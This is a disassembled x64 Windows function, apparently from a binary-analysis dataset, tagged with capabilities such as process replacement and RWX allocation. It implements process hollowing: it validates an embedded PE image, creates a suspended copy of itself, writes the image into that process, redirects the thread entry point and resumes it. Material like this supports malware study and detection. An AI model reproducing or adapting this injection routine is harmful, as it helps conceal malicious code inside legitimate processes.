Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
movsxd rdi, dword [0x1400050bc]
lea r12, [0x140005080]
add rdi, r12
mov eax, 0x5a4d
cmp word [0x140005080], ax
jne 0x14000125b
cmp dword [rdi], 0x4550
jne 0x14000125b
xorps xmm0, xmm0
mov qword [rsp + 0x708], r15
mov r8d, 0x104
mov dword [rsp + 0x70], 0x68
lea rdx, [rbp + 0x4b0]
xor ecx, ecx
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r15d, r15d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x4b0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400010f3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.blad_tworzenia_procesu_n
call fcn.1400012c0
xor al, al
jmp 0x140001141
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x700], r14
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140001164
lea rdx, str.blad_alokacji_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400012c0
xor al, al
mov r14, qword [rsp + 0x700]
mov r15, qword [rsp + 0x708]
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140001520
add rsp, 0x6d0
pop r12
pop rdi
pop rbp
ret
mov r9d, dword [rdi + 0x54]
mov r8, r12
mov rcx, qword [rsp + 0x50]
mov rdx, r14
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000118b
lea rdx, str.blad_pe_n
jmp 0x14000112b
mov qword [rsp + 0x6f0], rbx
movzx ebx, word [rdi + 0x14]
add rbx, 0x2c
mov qword [rsp + 0x6f8], rsi
mov esi, r15d
cmp r15w, word [rdi + 6]
jae 0x1400011e4
add rbx, rdi
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400011d6
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
mov rcx, qword [rsp + 0x50]
add rdx, r14
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x1400011b0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rdi + 0x28]
lea rdx, [rbp - 0x20]
mov rcx, qword [rsp + 0x58]
add rax, r14
mov qword [rbp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x6f8]
mov al, 1
mov rbx, qword [rsp + 0x6f0]
jmp 0x140001139
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.zly_format_n
call fcn.1400012c0
xor al, al
jmp 0x140001149